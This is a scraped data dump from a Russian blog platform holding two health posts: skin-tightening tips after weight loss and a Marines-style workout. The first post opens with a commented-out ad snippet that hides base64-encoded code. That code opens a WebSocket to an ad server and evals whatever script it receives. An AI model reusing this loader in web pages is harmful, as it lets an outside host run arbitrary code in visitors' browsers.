\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>Вы только что потеряли много веса. Может быть, это было вызвано беременностью или вам просто нужно было избавиться от лишних килограмм. В любой ситуации пришло время подумать о том, чтобы подтянуть вашу кожу. \x3c/p>\n\x3cp>\x3cstrong>Давайте рассмотрим двадцать различных методов, которые могут помочь вам.\x3c/strong>\x3c/p>\n\x3cp>\x3cstrong>1. Кремы для укрепления кожи\x3c/strong>\x3cbr />Витамин А и Е являются существенными, поскольку они могут естественным образом увеличить эластин в вашей коже.\x3c/p>\n\x3cp>2. Ограничьте воздействие солнца\x3c/p>\n\x3cp>\x3cstrong>3. Мясные и морские соляные скрабы\x3c/strong>\x3cbr />Это отличный способ подтянуть кожу, поскольку они увеличивают кровоток.\x3c/p>\n\x3cp>4. Коллагеновый крем\x3cbr />Это еще один способ питания и подтяжки кожи.\x3c/p>\n\x3cp>\x3cstrong>5. Массажная терапия\x3c/strong>\x3cbr />Это метод, который можно попробовать для подтягивания кожи. Бодрящий массаж поможет кровообращению и вводит в кожу натуральные масла и минералы.\x3c/p>\n\x3cp>\x3cstrong>6. Попробуйте спа\x3c/strong>\x3cbr />Обертывания из водорослей отлично подходят для подтягивания кожи.\x3c/p>\n\x3cp>\x3cstrong>7. Весовая тренировка\x3c/strong>\x3cbr />Это поможет вам подтянуть кожу.\x3c/p>\n\x3cp>8. Держите себя гидратированными. Восемь стаканов воды в день необходимы вашему организму.\x3c/p>\n\x3cp>\x3cstrong>9. Йога\x3c/strong>\x3cbr />Это хороший способ снять стресс и сделать вашу кожу более гибкой.\x3c/p>\n\x3cp>10. Добавьте сырые продукты в свой рацион\x3c/p>\n\x3cp>11. Calisthenics отлично подходит для вашего сердца\x3c/p>\n\x3cp>12. Добавьте белок в свой рацион\x3c/p>\n\x3cp>\x3cstrong>13. Пять порций свежих фруктов и овощей в день\x3c/strong>\x3cbr />Это необходимо, потому что высокое содержание воды поможет восстановить кожу.\x3c/p>\n\x3cp>14. Избегайте суровых мыл\x3c/p>\n\x3cp>15. Избегайте загара\x3c/p>\n\x3cp>16. Избегайте хлора\x3c/p>\n\x3cp>17. Касторовое масло в сочетании с лимоном или лавандой\x3c/p>\n\x3cp>\x3cstrong>18. Миндальное масло\x3c/strong>\x3cbr />Массируйте кожу и подтягивайте ее.\x3c/p>\n\x3cp>19. Используйте корсет на животе.\x3c/p>\n\x3cp>20. Усиление вяжущих средств\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a> \x3c/p>\n\x3cp>\x3ca href=\"https://positivemed.com/2014/10/11/20-ways-tighten-skin-weight-loss/\" target=\"_blank\">Источник\x3c/a>\x3cbr />Перевод и адаптация — \x3ca href=\"https://fithacker.ru/\" target=\"_blank\">Фитхакер\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43502126723","tags":["советы","способы","подтягивание","упругость","Здоровье","кожа"],"date":1537633944,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20993225449,"photo_original":"https://mtdata.ru/u17/photoE39A/20993225449-0/original.jpg","width":540,"height":282}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/20-sposobov-vozvrashheniya-uprugosti-kozhi-posle-pohudeniya/","topic":"health","title":"20 способов возвращения упругости кожи после похудения","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-22T16:32:24.000Z","ver1":"22 сентября, 19:32","ver2":"22.09.2018 в 19:32","ver3":"22 сент., 19:32"},"images":[{"main":true,"url":"https://mtdata.ru/u17/photoE39A/20993225449-0/original.jpg","width":540,"height":282}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43507556299,"from_id":53816169,"from":{"id":53816169,"display_name":"Евгений Сокольский","url":"https://mirtesen.ru/people/53816169","photo_original":"https://mtdata.ru/u21/photo6DAA/20089971661-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30375055982,"text":"\x3cdiv class=\"ui-rss-text\">\x3cp>\x3cp>Примерно с начала 2000-х годов армии мира начали внедрять множество новых подходов для повышения эффективности своих бойцов. Вместо общих упражнений на развитие грубой силы пришел тщательно проработанный тренинг, направленный на повышение уровня выносливости и стойкости солдата, вынужденного выживать в тяжелейших полевых условиях. Хотите прийти в форму максимально быстро? Выдержите всего месяц по этой программе, разработанной специально для «Морских котиков». \t\t\t\t\t\x3c/p>\x3cul id=\"is_kotslider\">\n\x3cli>\n\t\t\t\t\t\t\t\t\x3cimg src=\"//mtdata.ru/u8/photoD718/20572180608-0/original.jpg#20572180608\" alt=\"\">\x3ch2 style=\"text-align: center;\">Бег\x3c/h2>\n\x3cp>Выносливость является самым важным параметром настоящего бойца. Что толку в силе, если хватает ее ненадолго? Американские морпехи бегают каждый день. Эффективнее всего считается бег на средние дистанции: 45 минут, с темпом примерно в 7 минут за километр.\x3c/p>\t\t\t\t\t\t\t\x3c/li>\n\t\x3cli>\n\t\t\t\t\t\t\t\t\x3cimg src=\"//mtdata.ru/u8/photo456D/20018326306-0/original.jpg#20018326306\" alt=\"\">\x3ch2 style=\"text-align: center;\">Силовой тренинг\x3c/h2>\n\x3cp>Силовой тренинг спецназовца продолжается четыре дня в неделю. Каждая из основных групп мышц разрабатывается по отдельности, дополняемая упражнениями на пресс.\x3c/p>\t\t\t\t\t\t\t\x3c/li>\n\t\x3cli>\n\t\t\t\t\t\t\t\t\x3cimg src=\"//mtdata.ru/u8/photoEB8A/20910617702-0/original.jpg#20910617702\" alt=\"\">\x3ch2 style=\"text-align: center;\">Грудь\x3c/h2>\n\x3cp style=\"text-align: center;\">ОтжиманияЖим лежаОтжимания на брусьяхБоковые разведения с гантелями лежа на скамьеПуловеры\x3c/p>\t\t\t\t\t\t\t\x3c/li>\n\t\t\t\t\t\x3c/ul>\x3c/p>\x3c/div>\x3cp> \x3c/p>","comments_count":1,"marks_count":19,"likes":{"count":13,"user_likes":0,"can_like":0,"marks_pluses":16,"marks_minuses":3,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":16},{"id":-100,"count":3}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://social.dnpmag.com/blog/43507556299","tags":["Тренинг","отжимания","Подтягивание","бег","Пуловеры","Американские морпехи","Жим штанги стоя","Силовой тренинг","Спина"],"date":1503576337,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20572180608,"photo_original":"https://mtdata.ru/u8/photoD718/20572180608-0/original.jpg","width":900,"height":500}}],"group":{"display_name":"Don't Panic Magazine","url":"https://social.dnpmag.com","photo_original":"//mtdata.ru/u14/photoE4BA/20323082074-0/original.jpeg","id":30375055982,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1409575326455},"canonical_url":"http://dnpmag.com/2017/08/24/glavnye-uprazhneniya-amerikanskix-morpexov-kotorye-sdelayut-vas-atletom-za-mesyac/","topic":"health","title":"Главные упражнения морпехов, которые сотворят чудо за месяц","preview_text":"Примерно с начала 2000-х годов армии мира начали внедрять множество новых подходов для повышения эффективности своих бойцов. Вместо общих упражнений на развитие грубой силы пришел тщательно проработанный тренинг, направленный на повышение уровня выносливости и стойкости солдата, вынужденного","post_type":"post","formattedDates":{"iso":"2017-08-24T12:05:37.000Z","ver1":"24 августа, 15:05","ver2":"24.08.2017 в 15:05","ver3":"24 авг., 15:05"},"images":[{"main":true,"url":"https://mtdata.ru/u8/photoD718/20572180608-0/original.jpg","width":900,"height":500}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"подтягивание","tagId":80594391934,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"channelId":null,"isMobile":false,"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}
